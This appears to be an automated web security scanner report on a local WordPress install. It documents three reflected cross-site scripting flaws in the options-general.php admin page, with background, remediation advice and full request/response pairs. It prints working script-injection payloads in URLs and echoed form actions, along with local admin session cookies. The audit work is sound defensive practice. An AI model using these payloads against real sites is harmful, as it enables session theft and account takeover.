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Wordpress Security audit
Custom Contact Forms
1. Cross-site scripting (reflected)
1.1. http://127.0.0.1/wp-admin/options-general.php [name of an
arbitrarily supplied request parameter]
1.2. http://127.0.0.1/wp-admin/options-general.php [name of an
arbitrarily supplied request parameter]
1.3. http://127.0.0.1/wp-admin/options-general.php [x parameter]
Issue background
Reflected cross-site scripting vulnerabilities arise when data is
copied from a request and echoed into the application's immediate
response in an unsafe way. An attacker can use the vulnerability to
construct a request which, if issued by another application user, will
cause JavaScript code supplied by the attacker to execute within the
user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such
as stealing the victim's session token or login credentials,
performing arbitrary actions on the victim's behalf, and logging their
keystrokes.
Users can be induced to issue the attacker's crafted request in
various ways. For example, the attacker can send a victim a link
containing a malicious URL in an email or instant message. They can
submit the link to popular web sites that allow content authoring, for
example in blog comments. And they can create an innocuous looking web
site which causes anyone viewing it to make arbitrary cross-domain
requests to the vulnerable application (using either the GET or the
POST method).
The security impact of cross-site scripting vulnerabilities is
dependent upon the nature of the vulnerable application, the kinds of
data and functionality which it contains, and the other applications
which belong to the same domain and organisation. If the application
is used only to display non-sensitive public content, with no
authentication or access control functionality, then a cross-site
scripting flaw may be considered low risk. However, if the same
application resides on a domain which can access cookies for other
more security-critical applications, then the vulnerability could be
used to attack those other applications, and so may be considered high
risk. Similarly, if the organisation which owns the application is a
likely target for phishing attacks, then the vulnerability could be
leveraged to lend credibility to such attacks, by injecting Trojan
functionality into the vulnerable application, and exploiting users'
trust in the organisation in order to capture credentials for other
applications which it owns. In many kinds of application, such as
those providing online banking functionality, cross-site scripting
should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into
application responses, cross-site scripting attacks can be prevented
using two layers of defences:
Input should be validated as strictly as possible on arrival, given
the kind of content which it is expected to contain. For example,
personal names should consist of alphabetical and a small range of
typographical characters, and be relatively short; a year of birth
should consist of exactly four numerals; email addresses should match
a well-defined regular expression. Input which fails the validation
should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into
application responses. All HTML metacharacters, including < > " ' and
=, should be replaced with the corresponding HTML entities (< >
etc).
In cases where the application's functionality allows users to author
content using a restricted subset of HTML tags and attributes (for
example, blog comments which allow limited formatting and linking), it
is necessary to parse the supplied HTML to validate that it does not
use any dangerous syntax; this is a non-trivial task.
1.1. http://127.0.0.1/wp-admin/options-general.php [name of an
arbitrarily supplied request parameter]
Summary
Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path: /wp-admin/options-general.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into
the value of an HTML tag attribute which is encapsulated in double
quotation marks. The payload
c0cbb"><script>alert(1)</script>ce5abb2ef55 was submitted in the name
of an arbitrarily supplied request parameter. This input was echoed as
c0cbb\"><script>alert(1)</script>ce5abb2ef55 in the application's
response.
This proof-of-concept attack demonstrates that it is possible to
inject arbitrary JavaScript into the application's response.
Request
GET
/wp-admin/options-general.php?page=bb2_options&x=%3C%3CSCRIPT%3Ealert(%22XSS%22);//%3C%3C/SCRIP/c0cbb"><script>alert(1)</script>ce5abb2ef55T%3E
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie:
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;
bb2_screener_=1334008049+127.0.0.1;
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;
wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127;
wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a
Response
HTTP/1.1 200 OK
Date: Mon, 09 Apr 2012 21:56:22 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: bb2_screener_=1334008582+127.0.0.1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Mon, 09 Apr 2012 21:56:22 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 27835
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"
lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr
...[SNIP]...
<form method="post"
action="/wp-admin/options-general.php?page=bb2_options&x=%3C%3CSCRIPT%3Ealert(%22XSS%22);//%3C%3C/SCRIP/c0cbb\"><script>alert(1)</script>ce5abb2ef55T%3E">
...[SNIP]...
1.2. http://127.0.0.1/wp-admin/options-general.php [name of an
arbitrarily supplied request parameter]
Summary
Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path: /wp-admin/options-general.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into
the value of an HTML tag attribute which is encapsulated in double
quotation marks. The payload
dafab"><script>alert(1)</script>70272c82dd9 was submitted in the name
of an arbitrarily supplied request parameter. This input was echoed as
dafab\"><script>alert(1)</script>70272c82dd9 in the application's
response.
This proof-of-concept attack demonstrates that it is possible to
inject arbitrary JavaScript into the application's response.
Request
GET
/wp-admin/options-general.php?page=bb2_options&x=%3C%3CSCRIPT%3Ealert(%22XSS%22);//%3C%3C/SCRIPT%3E&dafab"><script>alert(1)</script>70272c82dd9=1
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie:
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;
bb2_screener_=1334008049+127.0.0.1;
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;
wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127;
wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a
Response
HTTP/1.1 200 OK
Date: Mon, 09 Apr 2012 21:55:48 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: bb2_screener_=1334008548+127.0.0.1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Mon, 09 Apr 2012 21:55:48 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 27815
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"
lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr
...[SNIP]...
<form method="post"
action="/wp-admin/options-general.php?page=bb2_options&x=%3C%3CSCRIPT%3Ealert(%22XSS%22);//%3C%3C/SCRIPT%3E&dafab\"><script>alert(1)</script>70272c82dd9=1">
...[SNIP]...
1.3. http://127.0.0.1/wp-admin/options-general.php [x parameter]
Summary
Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path: /wp-admin/options-general.php
Issue detail
The value of the x request parameter is copied into the value of an
HTML tag attribute which is encapsulated in double quotation marks.
The payload cf999"><script>alert(1)</script>cf9a9137481 was submitted
in the x parameter. This input was echoed as
cf999\"><script>alert(1)</script>cf9a9137481 in the application's
response.
This proof-of-concept attack demonstrates that it is possible to
inject arbitrary JavaScript into the application's response.
Request
GET
/wp-admin/options-general.php?page=bb2_options&x=%3C%3CSCRIPT%3Ealert(%22XSS%22);//%3C%3C/SCRIPT%3Ecf999"><script>alert(1)</script>cf9a9137481
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie:
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;
bb2_screener_=1334008049+127.0.0.1;
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;
wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127;
wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a
Response
HTTP/1.1 200 OK
Date: Mon, 09 Apr 2012 21:50:48 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: bb2_screener_=1334008248+127.0.0.1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Mon, 09 Apr 2012 21:50:48 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 27848
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"
lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr
...[SNIP]...
<form method="post"
action="/wp-admin/options-general.php?page=bb2_options&x=%3C%3CSCRIPT%3Ealert(%22XSS%22);//%3C%3C/SCRIPT%3Ecf999\"><script>alert(1)</script>cf9a9137481">
...[SNIP]...
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